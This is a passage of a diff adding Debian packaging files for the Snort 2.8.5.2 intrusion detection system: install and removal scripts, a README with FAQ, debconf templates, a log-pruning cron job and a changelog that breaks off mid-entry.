+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+	# If this is the first time we are installation then create
+	# the /etc/snort/db-pending-config
+	if [ "$1" = "install" ] && [ -z "$2" ] ; then
+		touch /etc/snort/db-pending-config
+	fi
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/copyright_review.sh
+++ snort-2.8.5.2/debian/copyright_review.sh
@@ -0,0 +1,10 @@
+#!/bin/
+
+# Review copyright statements and filter out known ones 
+# (in copyright_list)
+
+SOURCE=../src
+grep -ri copyright $SOURCE |
+grep -v -f copyright_list 
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-doc.dirs
+++ snort-2.8.5.2/debian/snort-doc.dirs
@@ -0,0 +1 @@
+/usr/share/doc/snort
--- snort-2.8.5.2.orig/debian/snort-inline.common.parameters
+++ snort-2.8.5.2/debian/snort-inline.common.parameters
@@ -0,0 +1 @@
+-m 027 -D -l /var/log/snort -d -u snort -g snort
--- snort-2.8.5.2.orig/debian/snort-inline.manpages
+++ snort-2.8.5.2/debian/snort-inline.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.8.5.2.orig/debian/README.Debian
+++ snort-2.8.5.2/debian/README.Debian
@@ -0,0 +1,159 @@
+
+ SNORT INIT.D
+------------------------------
+
+The Debian provided init.d script tries to provide many features
+unavailable upstream:
+
+  - run Snort on demand, when there is no permanent interface to the network
+    (i.e. ppp serial lines)
+
+  - run multiple instances of Snort in different network interfaces and allow
+    for different configuration for each of these instances (see below for more
+    on this)
+
+  - start or stop specific Snort instances (i.e those listening in different
+    network interfaces)
+
+This makes the provied init.d script somewhat complex and with different ways
+in which the administrator can change its behavior.
+
+In order to change the behavior of the init.d script you can use:
+
+  - /etc/default/snort: to configure the parameters for the Snort daemon.
+    This is done similarly to other packages (exim4, ntp, etc.) so that users
+    do not have to modify the init.d script only for parameter tweaking (which
+    would produce issues when upgrading packages if the init.d changes).
+
+  - /etc/snort/snort.debian.conf, this configuration file holds generic
+    configuration information and is handled by Debian's configuration
+    management system Debconf. If you want to modify its contents 
+    run "dpkg-reconfigure snort"
+
+  - /etc/snort.conf, this configuration file handles Snort itself. It is
+    possible to have different configuration file for different interfaces by
+    adding the interface name (e.g. /etc/snort.eth0.conf for the 'eth0'
+    interface)
+
+If you have issues with the behaviour in the init.d script please provide a bug
+report with the following information:
+
+    - the contents of /etc/default/snort
+    - the contents of /etc/snort/snort.debian.conf
+    - the contents of /etc/snort/snort.conf, and any other
+      /etc/snort/snort.*.conf files
+    - the output of running the init.d script when 
+            started ('sh -x /etc/init.d/snort start'), 
+            stopped ('sh -x /etc/init.d/snort start'), 
+            requesting the status of the Snort instances 
+            ('sh -x /etc/init.d/snort status') 
+            and checking its configuration 
+            ('sh -x /etc/init.d/snort config-check')
+
+ SNORT ON MULTIPLE INTERFACES
+------------------------------
+
+There is no provision upstream to have multiple instances of Snort
+running in the same system. If you want to setup a sensor in more than one
+network interface (for example, you are setting up an IDS listening to multiple
+network segments) then upstream's scripts are not useful.
+
+This package of snort is capable of managing multiple interfaces.  The
+current init.d script is capable of launching more than one snort
+instance. You just need to answer the debconf question "On which
+interface(s) should snort listen on" with a list (separated by spaces
+of interafes you want to use). This actually modifies the value of 
+DEBIAN_SNORT_INTERFACE definition in /etc/snort/snort.debian.conf.
+
+Afterwards, you need to create different
+/etc/snort/snort.$INTERFACE.conf configuration files (where $INTERFACE
+is your interface names, e.g., eth0 or eth1) for each interface you
+want Snort to listen on. All sensors can use the same rule set so it's
+easy to update them and all your sensors simultaneously. If no
+/etc/snort/snort.$INTERFACE.conf file exists for a given interface,
+then the regular /etc/snort/snort.conf file is used.
+
+Notice, however, that the same HOME_NET definition will be used for
+all interfaces (the answer to the "address range snort will listen
+on"). The debconf scripts don't currently support a way to give
+different HOME_NET definitions to different interfaces.
+
+This is still work in progress. Please file bugs to the snort package.
+
+-----------------------------------------------------------------------------
+
+-----------------------------------------------------------------------------
+
+ FREQUENT QUESTIONS AND ANSWERS
+---------------------------------
+
+Q.  I want to use FLEXRESP rules, but snort won't start with those rules
+    enabled! What is wrong, what should I do?
+A.	FLEXRESP rules need root-priviledges to access raw ethernet interface.
+    To resolve this, start snort as root.
+
+Q0. I can reconfigure snort as often as I want but it won't ask me any
+    questions!
+A0. You are probably victim of a bug in an older version of debconf. Just do:
+    dpkg-reconfigure --priority=low debconf; dpkg-reconfigure snort
+
+Q1. How can I test snort without having an ethernet card or a connection
+    to other computers ?
+A1. You have to use routing between two dummy devices:
+    # modprobe -a dummy    (The dummy device has to be build by the kernel)
+    # ifconfig dummy0   192.168.0.1
+    # ifconfig dummy0:0 192.168.0.2
+    # telnet 192.168.0.3 12345
+
+    It's important that the second IP is on the same interface and not
+    e.g. dummy1 or dummy2 and that the IP you try to access is *not* one
+    of those you put on the interfaces. Use snort's ability to hear in
+    promiscuous mode on an IP address range. (HOMEDIR=192.168.0.0/16)
+
+Q2. I saw that syslog logging is enabled, but I can't see any warnings in
+    /var/log/syslog ?
+A2. That's because /etc/syslog.conf directs every output for the syslog
+    facility LOG_AUTH to the /var/log/auth.log file. You can still find
+    detail information about every logged scan in /var/log/snort/.
+
+Q3. You told me about the files in /var/log/snort, but I can't read them!
+A3. For performance reasons they are logged in tcpdump-binary format. You 
+    can read them with "tcpdump -r /var/log/snort/snort.log" or 
+	mkdir /tmp/dir
+    	cd /etc/snort
+	. snort.conf
+	snort -r /var/log/snort/snort.log \
+		-S "HOME_NET=$DEBIAN_SNORT_HOME_NET" \
+		-c /etc/snort/snort.conf-lib \
+		-l /tmp/dir
+    The "-l /tmp/dir" creates the files in the /tmp/dir directory which MUST
+    be existing. You can use -s instead for logging to /var/log/auth.log.
+    
+Q4. It seems you disabled some checks and modified snort-lib, why?
+A4. Because they either generated too many false positives or generate too 
+    much noise for harmless things like traceroutes or nmap fingerprint 
+    attempts. These modifications are marked by a leading #debian#.
+    For more information see /usr/share/doc/snort/README.Maintainer.
+
+Q5. How can I update my rule database with the Debian packages? 
+    (Hint: I'm running stable)
+A5. Signature updates are provided by the snort-rules-default package but
+    if you are using stable, you will not see any changes in that package
+    since they are not allowed for stable releases. If you want to keep
+    your ruleset up-to-date you have two options:
+
+    	- Use the snort-rules-default from the unstable distribution, this
+	  might work as long as it does not belong to a different Snort
+	  release since in between releases snort rules might be updated
+	  in such a way that they are not backwards compatible.
+	- Use a script to manage rule updates, such as 'oinkmaster' (currently
+	  provided as a Debian package) or 'updateSnort'
+	- Use a backported version of Snort which includes these signatures.
+
+   Always make sure that your new rules will be loaded fine by the sensor
+   by using 'snort -T' 
+
+   See also upstreams Snort FAQ item 3.18
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>
+ Wed, 23 Sep 2009 02:02:25 +0200
--- snort-2.8.5.2.orig/debian/snort-pgsql.ADD.templates
+++ snort-2.8.5.2/debian/snort-pgsql.ADD.templates
@@ -0,0 +1,17 @@
+
+Template: snort-pgsql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-pgsql/
+  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ PostgreSQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.8.5.2.orig/debian/TODO-package
+++ snort-2.8.5.2/debian/TODO-package
@@ -0,0 +1,31 @@
+
+TODO
+
+- Make it easier to do changes in maintainer's config files. Currently snort,
+  snort-pgsql and snort-mysql config files share a lot of code which makes it
+  unmaintainable and leads to bugs like #502084 which was fixed in Snort
+  (non-DB package) but not in the DB packages.
+
+- Share information between package installations. If a user installs
+  'snort' (no DB support) and later on snort-pgsql (with DB support) he
+  will be asked the same questions (interface, IP range) twice. Maybe
+  use snort-common as a placeholder for shared information. Also simplifies
+  code sharing between config files
+
+- Consider the use of dbconfig-common to make database creation and update a
+  breeze. Asking users to follow manual steps to configure the database before
+  the package installation is rather painful.
+
+- Sync the versions provided in the archive with the source code @Alioth
+
+- Make it possible for admins to provide more than one interface Snort will
+  listen to when configuring the package
+
+- When configuring the package it could try to check if the database defined
+  is, indeeded, properly setup so that Snort can use it as a logging database.
+
+----
+
+Javier Fernandez-Sanguino
+Mon, 04 May 2009 00:34:15 +0200
+
--- snort-2.8.5.2.orig/debian/snort-inline.cron.daily
+++ snort-2.8.5.2/debian/snort-inline.cron.daily
@@ -0,0 +1,35 @@
+#!/bin/sh -e
+
+test -f /usr/sbin/snort || exit 0
+
+LOGFILE=/var/log/snort/alert
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+CONFIG=/etc/snort/snort.debian.conf
+. $CONFIG
+
+# Don't generate stats if we are configured not to
+[ "$DEBIAN_SNORT_SEND_STATS" = "false" ] && exit 0
+
+export DEBIAN_SNORT_STATS_RCPT DEBIAN_SNORT_STATS_THRESHOLD
+
+# Just in case it's not properly configured for whatever reason
+[ -z "$DEBIAN_SNORT_STATS_THRESHOLD" ] && DEBIAN_SNORT_STATS_THRESHOLD=1
+[ -z "$DEBIAN_SNORT_STATS_RCPT" ] && DEBIAN_SNORT_STATS_RCPT=root
+
+# Cannot use logrotate to rotate these logfiles...
+# 'rotate' saved RAW-Ethernet streams
+# New snort has different naming scheme, old one still here for upgrades
+find /var/log/snort -name "snort-*@*.log" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "tcpdump.log.*" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "snort.log.*" -mtime +15 | xargs --no-run-if-empty rm
+
+# Mail snort stats
+if [ -s $LOGFILE ]; then
+	(echo "To: $DEBIAN_SNORT_STATS_RCPT"; snort-stat -a -t $DEBIAN_SNORT_STATS_THRESHOLD < $LOGFILE) | sendmail -t
+fi
+
+# Restarting snort is now handled by the logrotate configuration.
+# The 'intelligence' of not to start in certain startup-modes moved
+# to the init.d script as well.
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-common-libraries.dirs
+++ snort-2.8.5.2/debian/snort-common-libraries.dirs
@@ -0,0 +1 @@
+usr/lib
--- snort-2.8.5.2.orig/debian/README.docs
+++ snort-2.8.5.2/debian/README.docs
@@ -0,0 +1,3 @@
+
+Please notice that additional documentation is available at
+http://www.snort.org/docs/
--- snort-2.8.5.2.orig/debian/snort-doc.doc-base.faq
+++ snort-2.8.5.2/debian/snort-doc.doc-base.faq
@@ -0,0 +1,11 @@
+Document: snort-faq
+Title: Snort FAQ
+Author: The Snort Core Team
+Abstract: Frequently Asked Questions for the Snort NIDS
+ This document provides answers to some of the most common
+ (and frequently asked) questions related to the Snort network
+ intrusion detection system.
+Section: Network/Monitoring
+
+Format: pdf
+Files: /usr/share/doc/snort-doc/faq.pdf.gz
--- snort-2.8.5.2.orig/debian/copyright_list
+++ snort-2.8.5.2/debian/copyright_list
@@ -0,0 +1,33 @@
+Martin Roesch
+Sourcefire, Inc
+Sourcefire Inc
+SourceFire, Inc
+Sourcefire,Inc
+Sourcefire
+Christopher R. Hertel
+Brian Caswell
+Andrew R. Baker
+Joshua Wright
+Jeff Nathan
+Carnegie Mellon University
+Jed Pickel
+MySQL AB
+PreludeIDS Technologies
+Todd C. Miller 
+Association for Computing Machinery,Inc
+Marc Norton
+Daniel Roelker
+Michael Davis
+Kungliga Tekniska
+University of Cambridge
+Maciej Szarpak
+Phil Wood
+Christian Lademann
+Sendmail, Inc
+Eric P. Allman
+The Regents of the University of California
+Christopher Cramer
+Michael J. Pomraning
+Christian Lademann
+Free Software Foundation
+Makefile
--- snort-2.8.5.2.orig/debian/generate-templates.sh
+++ snort-2.8.5.2/debian/generate-templates.sh
@@ -0,0 +1,23 @@
+#!/bin/sh -e
+
+# Generate templates for the Snort packages
+# This should be done whenever the templates are modified
+
+for package in "" mysql pgsql inline; do
+    packagename=$package
+    [ -n "$package" ] && packagename="-$packagename"
+    OUTPUT="snort$packagename.templates"
+    echo "Generating templates for snort$packagename at $OUTPUT"
+    cat snort.TEMPLATE.templates | sed -e "s/{PACKAGE}/$packagename/g" >$OUTPUT
+    # Add Database templates also
+    if [ "$package" = "mysql" ] || [ "$package" = "pgsql" ] ; then
+        cat snort.DATABASE.templates | sed -e "s/{PACKAGE}/$packagename/g" | sed -e "s/{DATABASE}/$package/g" >>$OUTPUT
+    fi
+            
+    # Finally, add any additional templates this package might have
+    if [ -e "snort$packagename.ADD.templates" ] ; then
+        cat "snort$packagename.ADD.templates"  >>$OUTPUT
+    fi
+done
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-mysql.templates
+++ snort-2.8.5.2/debian/snort-mysql.templates
@@ -0,0 +1,172 @@
+Template: snort-mysql/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-mysql/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-mysql/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-mysql/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-mysql/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-mysql/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-mysql/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-mysql/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-mysql/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-mysql/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-mysql/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-mysql/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
+
+Template: snort-mysql/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort-mysql to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort-mysql'.
+
+Template: snort-mysql/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort-mysql/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort-mysql/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort-mysql/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
+
+Template: snort-mysql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-mysql/
+  zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ MySQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.8.5.2.orig/debian/snort-mysql.prerm
+++ snort-2.8.5.2/debian/snort-mysql.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort.templates
+++ snort-2.8.5.2/debian/snort.templates
@@ -0,0 +1,114 @@
+Template: snort/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.8.5.2.orig/debian/snort-pgsql.manpages
+++ snort-2.8.5.2/debian/snort-pgsql.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.8.5.2.orig/debian/snort.manpages
+++ snort-2.8.5.2/debian/snort.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.8.5.2.orig/debian/changelog
+++ snort-2.8.5.2/debian/changelog
@@ -0,0 +1,2142 @@
+snort (2.8.5.2-2build1) lucid; urgency=low
+
+  * Rebuild for libmysqlclient transition.
+
+ -- Chuck Short <zulcss@ubuntu.com>  Mon, 05 Apr 2010 21:13:10 -0400
+
+snort (2.8.5.2-2) unstable; urgency=low
+
+  * Remove the reverse_order debconf option since Snort no longer supports the
+    -o option. The default now in Snort is to have Pass|Alert|Log 
+    (Closes: 565567)
+  * Change error message in the init.d script to point to /var/log/daemon.log
+    for Snort log messages.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 22 Jan 2010 00:12:52 +0100
+
+snort (2.8.5.2-1) unstable; urgency=low
+
+  * New upstream release 
+     - Fixes CVE-2009-3641: possible DoS due to crafted IPv6 packet when
+       then -v option is enabled
+  * Fix src/snort.c since it is not buildable, it seems that the distributed
+    source code has a bug.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 11 Jan 2010 23:53:05 +0100
+
+snort (2.8.4.1-6) unstable; urgency=low
+
+  * Package rebuild to fix libmysql depedency (Closes: #548831)
+  * Remove use_static_footprint_sizes option from the stream5_tcp disassembler
+    in etc/snort.conf as the use in production systems is actually discouraged
+    [ see http://sourceforge.net/mailarchive/message.php?msg_name=d3a3e6ac0912080843i17a0302te36548e032b4b013%40mail.gmail.com ]
+  * Lintian fixes:
+     - Remove dh_undocumented from debian/rules
+     - Add ${misc:Depends} to all binary packages
+     - Use updated debhelper version (5)
+     - Update Standards-Version (3.8.3)
+
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 09 Dec 2009 02:05:57 +0100
+
+snort (2.8.4.1-5) unstable; urgency=low
+
+  * Fix snort-stat so that it can generate proper emails even if Classification
+    is missing from the alert log, use fix suggested by Pavel Mateja.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 01 Nov 2009 00:43:02 +0100
+
+snort (2.8.4.1-4) unstable; urgency=low
+
+  * Fix init.d so that if 'restart' is executed when no instance is
+    running (no pidfile) it will try to start all of instances, just
+    if 'start' was executed. (Closes: #540450)
+  * Add information on how the init.d script works (Closes: #512810)
+  * Fix name of file in README-database.Debian, remove the database
+    information from the main README.Debian file.
+  * Fix bug in debian/clean-sources.sh script (Closes: #547316)
+  * Use a patch provided by Dave Walker <DaveWalker_AT_ubuntu.com>
+    to prevent starting snort-mysql|pgsql if the database is not configured 
+    yet. This bug cannot be really fixed until we use dbconfig-common
+    here to ask for all the database information to the user
+    through Debconf. (LP: #222091) (Closes: #545082)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 23 Sep 2009 01:35:05 +0200
+
+snort (2.8.4.1-3) unstable; urgency=low
+
+  * Change the log message in debian/snort.init.d so people are not led to
+    believe they need a /etc/snort/snort.$iface.conf configuration file,
+    /etc/snort/snort.conf is usually just fine.
+  * Lintian fixes:
+   - Fix long lines in changelog
+   - Fix debconf priority in configuration scripts (error -> high)
+   - Do not install README.WIN32 in snort-doc's documentation
+   - Do not ignore errors on snort-rules-default.{postrm, preinst}
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 02 Aug 2009 18:27:04 +0200
+
+snort (2.8.4.1-2) unstable; urgency=low
+
+  * Rebuild and upload to unstable. (Closes: 528496)
+  * As acknowledged by upstream and confirmed by users, this release fixes a
+    segfault in snort-mysql (Closes: 536144)
+  * Updated Russian po-debconf translation provided by Yuri Kozlov 
+    (Closes: 528677)
+  * Change syslogd dependency in snort, snort-pgsql and snort-mysql to rsyslog 
+    since that is the default syslog daemon now. (Closes: 526916)
+  * Remove the syslog dependency from snort-common and snort-rules-default
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 01 Aug 2009 17:50:30 +0200
+
+snort (2.8.4.1-1) experimental; urgency=low
+
+  * New upstream release. 
+  * Only provided the latest release notes at debian/snort-common.docs, move
+    older RELEASE notes to docs/
+  * Update the doc list at debian/snort-doc.docs with the contents from
+    doc/ (new READMEs). Add also the old RELEASE notes for reference.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 09 Jun 2009 02:33:43 +0200
+
+snort (2.7.0-26) unstable; urgency=low
+
+  * Fix bug in snort-pgsql and snort-mysql's configuration script introduced in
+    the previous upload. They were using the wrong debconf keys which made
+    maintainer scripts fail. (Closes: #526915)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 05 May 2009 01:29:37 +0200
+
+snort (2.7.0-25) unstable; urgency=low
+
+  * Use src/output-plugins/spo_database.c from the 2.8.4.1 release. This
+    version includes the necessary code to configure the mysql connection so
+    that it reconnects to the database in case the connection gets lost. This
+    might happen if too few events are logged in Snort and the database
+    connection timeouts. (Closes: #449568) 
+  * Copy over src/ipv6_port.h from 2.8.4.1 and include it in
+    src/output-plugins/spo_database.c
+  * Update Japanese translation for the templates, thanks to Hideki Yamane
+    (Closes: 510704)
+  * Move the code that detects if interfaces are down over to snort-pgsql and
+    snort-mysql.  This way, if the interface defined is not available it will
+    prompt again, raising the debconf priority (Closes: #502084)
+  * Change all the config_parameters debconf input from 'medium' to 'error'
+  * Change all the needs_db_config debconf questions from 'medium' to 'high'
+    since users that do not see this note will end up with a non-functioning
+    package.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 03 May 2009 23:40:26 +0200
+
+snort (2.7.0-24) unstable; urgency=low
+
+  * Remove the LogMessage associated with fragmented traffic since it shows up
+    even in systems that do not have ttl_limit set.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 28 Feb 2009 13:03:22 +0100
+
+snort (2.7.0-23) unstable; urgency=high
+
+  * Fix error in call to LogMessage (missing parameters) which caused a segfault
+    when fragmented packages were received and ttl_limit was set.  This bug was
+    introduced in the patch to fix CVE-2008-1804. Urgency set to 'high' as in
